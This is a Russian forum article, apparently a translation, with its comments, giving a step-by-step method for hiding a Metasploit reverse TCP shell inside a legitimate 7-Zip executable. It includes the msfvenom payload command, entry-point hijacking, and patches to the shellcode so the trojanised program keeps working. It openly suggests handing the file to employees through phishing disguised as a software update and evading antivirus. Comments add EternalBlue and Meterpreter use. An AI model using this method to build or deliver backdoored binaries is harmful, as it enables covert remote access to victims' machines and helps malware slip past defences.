Статья Сокрытие Reverse TCP shellcode в PE-файле | Часть 1

Приветствую, обыватель CODEBY.NET
Иноязычное описание данного метода является достаточно большим. В связи с этим, я решил разделить его на 2, более мелкие части. Приятного ознакомления.
Оригинал на английском:

Предупреждение:
Обо всех очепятках и ошибках сообщайте в личные сообщения.
Убедительная просьба не засорять комментарии информацией, которая не относится к обсуждению.

Вступление

Предположим, что во время проведения тестирования на проникновение вам понадобилось получить доступ к определённому устройству исследуемой организации. На этом этапе, вы можете создать PE-файл бэкдор с помощью собственного шелл-кода, без увеличения размера исполняемого файла или изменения его предполагаемой функциональности. Как это можно реализовать и при этом не привлечь внимание антивирусов? О способе доставки и писать нечего. Смоделируем такую ситуацию: после проведения сбора информации о тестируемой организации, вы узнали, что большое количество сотрудников использует определенное программное обеспечение. Тогда, методом социальной инженерии, есть шанс проникнуть в сеть жертвы. Для этого понадобится отправить некоторому объекту (сотруднику) фишинговое сообщение с ссылкой для загрузки «Обновленной версии этой программы», которая на самом деле является бэкдор-бинарным файлом. Мы также обсудим различные методы затруднения обнаружения бэкдора в PE-файле. На каждом этапе основное внимание уделяется тому, чтобы файл с бэкдором был полностью не обнаружимым. Слово «не обнаруживаемый» здесь используется в контексте статического анализа времени сканирования. Для изучения описываемых далее действий желательно понимание формата PE-файла, сборки x86 и отладки.

Ограничения для бэкдоринга PE-файла

Наша цель состоит в том, чтобы результирующий файл стал полностью не обнаружимым антивирусами, а функциональность бэкдор-программы должна оставаться прежней, без прерываний и(или) ошибок. Для тестов антивирусного сканирования мы будем использовать NoDistribute. Есть много способов сделать двоичный файл сокрытым от антивирусов. Например, используя крипторы, которые кодируют всю программу и включают в нее заглушку декодирования во время выполнения, сжимая программу с помощью UPX, используя кодировки veil-framework или msfvenom. Мы не будем использовать ни один из таких инструментов. Цель состоит в том, чтобы сделать его простым и элегантным! По этой причине у меня есть следующие ограничения:​
  • Никакого использования схем кодирования Msfvenom, veil-framework или любых подобных необычных инструментов.​
  • Размер файла должен оставаться неизменным, что означает отсутствие дополнительных разделов, заглушек декодера или сжатия (UPX).​
  • Функциональность программы с бэкдором должна оставаться прежней, без ошибок и (или) прерываний.​

Используемые методы:

  • Создание нового заголовка раздела для добавления шелл-кода​
  • Шелл-код на основе взаимодействия с пользователем Trigger + codecaves.​
  • Двухкодовые пещеры с настраиваемым кодировщиком + запуск шеллкода при взаимодействии с пользователем​

Критерии выбора PE файла для имплантации бэкдора

Если вы не вынуждены использовать конкретный двоичный файл для бэкдоринга PE-файла, следует помнить о следующих моментах. Их не обязательно соблюдать, но они предпочтительны, потому что помогут снизить уровень обнаружения AV и сделать конечный продукт более доступным.
  • Размер исполняемого файла должен быть небольшим <10 МБ. Файл меньшего размера можно будет легко передать жертве во время проведения пентеста. Также его будет удобно отлаживать в случае возникновения проблем.​
  • Бэкдор для хорошо известного продукта, например, Utorrent, сетевых утилит, таких как Putty, sysinternal tools, winRAR, 7zip и т. д. Использование известного PE-файла не требуется, но вероятность того, что AV пометит неизвестный PE-бэкдор, больше, чем известный.​
  • PE-файлы, которые не защищены такими функциями безопасности, как ASLR или DEP. Это не повлияет на конечный файл.​
  • Предпочтительно использовать двоичные файлы C / C ++ Native.​
  • Желательно обзавестись PE-файлом, который имеет законные алгоритмы сетевого взаимодействия. Некоторые антивирусы не обратят внимание на активность подобного файла и будут рассматривать это как стандартную функциональность программы.​
Мы будем использовать архиватор файлов 7Zip. Сначала давайте проверим, включен ли в файле ASLR. Он рандомизирует адреса каждый раз, когда программа загружается в память. Таким образом, злоумышленник не может использовать закодированные адреса для размещения шелл-кода.​

1614457881033.png

Как видно на скриншоте выше, защиты не так много. Давайте посмотрим на другую информацию о двоичном файле через 7zip.

Статический анализ
1614457904895.png

Данный PE-файл представляет собой 32-битный двоичный файл размером около 500 КБ. Он запрограммирован в собственном коде (C ++). Похоже, хороший кандидат для бэкдора. Давайте продолжим!

Бэкдор PE-файл

Есть два способа получить доступ к переносимым исполняемым (PE) файлам. Для начала, важно понять, что мы подразумеваем под бэкдором-PE-файлом? Проще говоря, мы хотим, чтобы в легитимном исполняемом файле Windows, таком как 7zip архиватор (как пример), был наш шелл-код, поэтому, когда файл 7zip выполняется, наш код также должен выполняться без ведома пользователя и без обнаружения антивирусами подозрительной активности. Программа (7zip) должна работать корректно. Шелл-код, который мы будем использовать, представляет собой обратную TCP-оболочку MSFvenom. [Разница между Reverse и Bind shell]. Оба метода, описанные ниже, имеют одинаковый общий процесс и цель, но разные подходы к достижению. Общий процесс выглядит следующим образом:​
  • Найдите подходящее место в памяти для имплантации оболочки нашего кода, либо в кодовых пещерах, либо путем создания новых заголовков разделов, оба метода показаны ниже.​
  • Скопируйте коды операций из стека в начале выполнения программы.​
  • Замените эти инструкции нашими собственными кодами операций, чтобы перехватить поток выполнения приложения в желаемое место в памяти.​
  • Добавьте шелл-код в эту ячейку памяти, которая в данном случае является обратной оболочкой TCP.​
  • Установите регистры обратно в стек, скопированный на первом шаге, чтобы обеспечить нормальный поток выполнения.​

Добавление нового заголовка раздела

Идея этого метода состоит в том, чтобы создать новый раздел заголовка в PE-файле, добавить в него наш шелл-код, а затем указать поток выполнения в этом разделе. Новый заголовок раздела может быть создан с помощью такого инструмента, как LordPE.
  1. Откройте Lord PE. Перейдите к заголовку раздела и добавьте его, как это показано (добавлен .hello) внизу.​
  2. Добавьте виртуальный размер и исходный размер 1000 байт. Обратите внимание, что 1000 в шестнадцатеричном формате (4096 байт в десятичном формате).​
  3. Сделайте заголовок раздела исполняемым, так как мы должны поместить наш Shellcode в этот раздел, чтобы он был исполняемым, доступным для записи и чтения.​
  4. Сохраните файл.​
1614457972953.png

Теперь, если мы выполним файл, он не будет работать, потому что мы добавили новый раздел размером 1000h байтов, и этот раздел заголовка пуст.
1614457991639.png

Чтобы файл работал нормально, как задумано, мы должны добавить 1000 байтов в конец файла, потому что прямо сейчас файл содержит раздел заголовка размером 1000 байтов, но этот раздел пуст, мы должны заполнить его любым значением. Мы заполним его нулями (00). Используйте любой шестнадцатеричный редактор, чтобы добавить 1000 шестнадцатеричных байтов в конец файла, как показано ниже.​

1614458006605.png

Мы добавили нулевые значения в конец файла и переименовали его в 7zFMAddedSection.exe. Прежде чем продолжить, мы должны убедиться, что теперь наш исполняемый файл 7zFMAddedSection.exe работает правильно и добавлен новый раздел с нужным размером и разрешениями. Воспользуемся Ollydbg, перейдя в раздел памяти и дважды щелкнем на заголовки PE.
1614458023958.png



Перехват потока выполнения

Мы видим, что наш новый раздел .hello добавлен с назначенными разрешениями. Следующий шаг - перехватить поток выполнения программы в наш недавно добавленный раздел .hello. Когда мы выполняем программу, она должна указывать на раздел кода .hello, в который мы поместим наш шелл-код. Сначала запишите первые 5 кодов операций, так как они понадобятся позже при восстановлении потока выполнения. Мы копируем начальный адрес раздела .hello 0047E000, открываем программу в Ollydbg и заменяем первый код операции по адресу 004538D8 с JMP на 0047E000.​

1614458055928.png

ПКМ -> Копировать в исполняемый файл -> все изменения -> Сохранить файл. В данном случае 7zFMAddedSectionHijacked.exe
Мы добавили новый раздел заголовка и перехватили в нем поток выполнения. Теперь открываем файл 7zFMAddedSectionHijacked.exe в Ollydbg. Мы ожидаем, что поток выполнения будет перенаправлен на наш недавно добавленный раздел .hello, который будет содержать нулевые значения (помните, мы добавляли нули с помощью hexedit?).​

1614458070729.png

Прекрасно! У нас есть длинный пустой раздел .hello section. Следующим шагом является добавление нашего шелл-кода с начала этого раздела, чтобы он запускался при выполнении двоичного файла.

Добавление шеллкода

Как упоминалось ранее, мы будем использовать shell_reverse_tcp в Metasploit. Мы не используем никаких схем кодирования, предоставляемых msfvenom, ведь большинство из них, если не все, уже отмечены антивирусами. Чтобы сначала добавить шелл-код, нам нужно поместить регистры в стек, чтобы сохранить их состояние с помощью кодов операций PUSHAD и PUSHFD. В конце шелл-кода мы возвращаем регистры и восстанавливаем поток выполнения, вставляя начальные (предварительно захваченные) программные инструкции, скопированные ранее, и возвращаемся назад, чтобы убедиться, что функциональность 7zip не нарушена. Вот последовательность инструкций​
Код:
PUSHAD
PUSHFD
Shellcode....
POPAD
POPFD
Restore Execution Flow...
Мы генерируем обратный шелл-код Windows, используя следующие аргументы в mfsvenom
Код:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.128 LPORT=8080 -a x86 --platform windows -f hex
Скопируйте шелл-код и вставьте шестнадцатеричный код в Ollydbg, щелкнув пкм> двоичный> двоичный код, он будет преобразован в код сборки.
1614458124595.png



Модификация шелл-кода

Теперь, когда у нас есть наш обратный шелл-код TCP в разделе .hello, пришло время сохранить изменения в файле, перед этим нам нужно внести некоторые изменения в наш шелл-код.​
  1. В конце шелл-кода мы видим код операции CALL EBP, который завершает выполнение программы после выполнения шелл-кода, и мы не хотим, чтобы выполнение программы завершалось, на самом деле мы хотим, чтобы программа нормально функционировала после выполнения шелл-кода, по этой причине мы должны изменить код операции CALL EBP на NOP (нет операции).​
  2. Еще одно изменение, которое необходимо сделать, связано с наличием объекта WaitForSingleObject в нашем шелл-коде. Функция WaitForSignleObject принимает аргумент в миллисекундах ожидает до этого времени, прежде чем запускать другие потоки. Если аргумент функции WaitForSignleObject равен -1, это означает, что она будет ждать бесконечное количество времени перед запуском других потоков. Если мы выполним двоичный файл, он создаст обратную оболочку, но нормальная работа 7zip остановится, пока мы не закроем нашу обратную оболочку. Нам просто нужно изменить код операции DEC INC, значение которого -1, на NOP.​
  3. Затем нам нужно вывести значения регистров POP из стека (чтобы восстановить значение стека до шелл-кода), используя POPFD и POPAD в конце шелл-кода.​
  4. После POPFD и POPAD нам нужно добавить 5 перехваченных инструкций (скопированных ранее в потоке выполнения перехвата), чтобы после выполнения шеллкода наша программа 7zip работала нормально.​
  5. Сохраняем модификации как 7zFMAddedSectionHijackedShelled.exe

Установка шелла

Мы Начинаем слушать на Kali и выполняем двоичный файл 7zFMAddedSectionHijackedShelled.exe. Получаем шелл. Бинарный файл 7zip также отлично работает без перебоев в работе.
1614458195919.png

А что же будет при сканировании ав?
1614458207050.png

Не так хорошо, как хотелось бы!. Хотя этого и следовало ожидать, поскольку мы добавили новый исполняемый и записываемый раздел в двоичном формате и использовали известный шелл-код metasploit без какой-либо кодировки.

Плюсы добавления нового заголовка раздела
Вы можете создать большой заголовок раздела. Большое пространство означает, что вам не нужно беспокоиться о пространстве для шелл-кода, даже если вы можете кодировать свой шелл-код несколько раз, не беспокоясь о его размере. Это может помочь обойти антивирусы.


Минусы добавления нового метода заголовка раздела
Добавление нового заголовка раздела и присвоение ему флага выполнения могло бы привлечь внимание антивирусов. Не лучший подход с точки зрения обнаружения AV.​

Это также увеличит размер исходного файла, опять же, мы бы не хотели кричать AV или жертве об изменении размера файла. Исходя из этого, на данном этапе - высокая степень обнаружения.​

Помните о минусах нового заголовка раздела. Далее мы рассмотрим еще два метода, которые помогут нам добиться низкого уровня обнаружения бэкдора.​


 
Последнее редактирование:

gmontekrissto

Green Team
25.03.2020
18
10
BIT
0
Да перестань, с виду не такая и большая, можно было цельной опубликовать
Но смотри сам, как тебе удобнее.
 

Cronix

Green Team
18.02.2021
20
40
BIT
0
У меня на примете есть ещё пару статей для перевода. Но я больше склоняюсь написать что-то своё.
 

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 189
BIT
0
лучше найти раздел, с подходящим размером и туда лить шелкод)
 

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 189
BIT
0
еще напишу но точно не уверен, есть инструмент который наверное добавляет разделы и главное не нарушает подпись PE файла

меняет хеш-сумму

было бы не плохо, Ваше мнение услышать)


Код:
YUhSMGNITTZMeTluYVhSb2RXSXVZMjl0TDIxbFpEQjRNbVV2VTJsblJteHBjQT09
 

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
Статья полезная, но лучше Shellter'a тут ничего пока не придумали :)
 
  • Нравится
Реакции: Ondrik8

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
шелтер уже палится из-за реверсеров которые его ломанули и толкали за 50уе) ждем 4+ версию...
После утечек у них сильно поменялось то, как они выдают софт. Очень сомнительно, что 3.7 и новее будет продаваться за 50 баксов.
 

wlan0mode

Green Team
12.01.2020
59
73
BIT
0
перелопатив гугл и яндекс, вернулся на старый добрый "кодебай" сопсно вопрос: подключаюсь к с воему ноуту на вин7ультима где сопсно уязвимость eternalblue висит не про-патченой подключаюсь через метасплоит с полезной нагрузкой meterpreter/reverse_tcp - обратным хостом на свой кали линукс на "виртуал0чке" и я вижу всю директорию ноута в консоле на кали и правильно отображается русский язык (настроил кодировку на кали как на винде) сначала я не мог переходить в папки с русскими названиями но в гугле на каком-то анг форуме нашел ответ, типа русккий путь нужно обернуть в двойные скобки "Новая папка" - пример. но возникла следующая проблема которую я не могу решит, как скачивать файлы в названии которых русские буквы и пробелы? download тестовый документ.txt ссылается на то что кодировка utf8 не поддерживается или что-то типо того, "ковычки" тоже не помогают т.е download "тестовый документ.txt" тоже выдаёт ошибку, как быть? #helpme
 

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 189
BIT
0
перелопатив гугл и яндекс, вернулся на старый добрый "кодебай" сопсно вопрос: подключаюсь к с воему ноуту на вин7ультима где сопсно уязвимость eternalblue висит не про-патченой подключаюсь через метасплоит с полезной нагрузкой meterpreter/reverse_tcp - обратным хостом на свой кали линукс на "виртуал0чке" и я вижу всю директорию ноута в консоле на кали и правильно отображается русский язык (настроил кодировку на кали как на винде) сначала я не мог переходить в папки с русскими названиями но в гугле на каком-то анг форуме нашел ответ, типа русккий путь нужно обернуть в двойные скобки "Новая папка" - пример. но возникла следующая проблема которую я не могу решит, как скачивать файлы в названии которых русские буквы и пробелы? download тестовый документ.txt ссылается на то что кодировка utf8 не поддерживается или что-то типо того, "ковычки" тоже не помогают т.е download "тестовый документ.txt" тоже выдаёт ошибку, как быть? #helpme
а это

Fix #14888, fix downloading a utf-8 directory directly by timwr · Pull Request #14934 · rapid7/metasploit-framework

если не получается рекомендую Вам подгрузить сторонний ратник [down/exec] и все выкачать аля кобальт страйк)

Пысы а у вашпе по ру не конифольно трудится)
 
  • Нравится
Реакции: lameruser

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
Похоже, что таки баг.
 
  • Нравится
Реакции: wlan0mode
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!